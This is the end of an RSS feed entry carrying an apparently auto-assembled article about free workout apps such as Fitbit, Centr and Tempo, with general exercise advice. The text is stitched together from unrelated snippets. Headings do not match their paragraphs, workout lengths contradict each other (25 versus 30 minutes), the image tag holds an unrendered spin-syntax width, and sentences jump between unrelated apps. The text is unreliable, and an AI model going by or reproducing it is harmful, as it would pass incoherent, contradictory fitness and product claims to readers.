<p>Instead, she gives a 4-minute verbal introduction in the beginning, then the rest of the video is just music and beeps to mark the transitions between exercises. Fitbit (owned by Google) is a great Apple Fitness alternative if you don&#8217;t have an iPhone or Apple Watch (though you can use it if you do, too). In addition to activity tracking, the app offers sleep, food, water, menstrual cycle, glucose, and weight tracking—which are great features if you&#8217;re trying to be healthier overall. Like Apple Fitness, it has badges for achievements, which I loved since I don&#8217;t want to compete against anyone except myself.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="home workout pro app review beginner abs" src="https://mir-s3-cdn-cf.behance.net/projects/404/2c7cc1160886157.Y3JvcCwxNjE2LDEyNjQsMCww.png"/></p>
<h2>Best for running &amp; hiking</h2>
<p>The program includes six abs, booty, and total-body circuit-style workouts you’ll do over 30 days. With plenty of fat-burning cardio mixed in for good measure, each workout is about 25 minutes long and requires only a set of dumbbells. The choreography is easy to follow and each workout is just 30 minutes, so you can jump right in whether you love to dance, you’re just getting started, or you simply want to sculpt and define your entire body while building strength.</p>
<p>I even follow my coach on Instagram now, and it makes the experience feel more personal. There’s something grounding about knowing other people across the country are doing the same workouts at the same time, especially when I’m constantly on the move. Centr has you covered with Power Shred, the 14-week workout plan designed to cut body fat while building or maintaining muscle.</p>
<h3>Best for Personal Training</h3>
<p>Most beginners start this program by following the modifier in the videos, then progress to doing the full moves as they become more familiar. One thing I liked was that Tempo has a daily Readiness score that’s created based on your individualized health data, including your sleep quality, heart rate, and the workouts you did yesterday. You lose the big screen, but you still get the community aspect, personal trainer-level programming, and weights in your living room. Grant also points to the official NHS guidelines for physical activity, which include regular Pilates and movement, such as walking 30 minutes a day or swimming every day. &#8220;They recommend we do at least 150 minutes of physical activity per week,&#8221; she notes.</p>
<h3>More of Our Favorite Fitness Gear</h3>
<p>When choosing an app, think about whether you want human interaction, app‑based nudges only, or almost no external pressure. Accountability features were a major factor, since different people need different levels of encouragement. A workout plan/program is multiple sessions of training, structured over weeks/months against a set training goal. Two or three sessions would be a good place to start initially, with a mixture of resistance training and cardio sessions. If you are experienced, you might be looking at 5 or even 6 days a week – but don’t forget to factor in some rest and recovery too! Under ‘Plans’, you can select the days per week to suit you.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://psp-wp-test.objectsdev.com/the-41-best-free-workout-apps-to-try-right-now-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>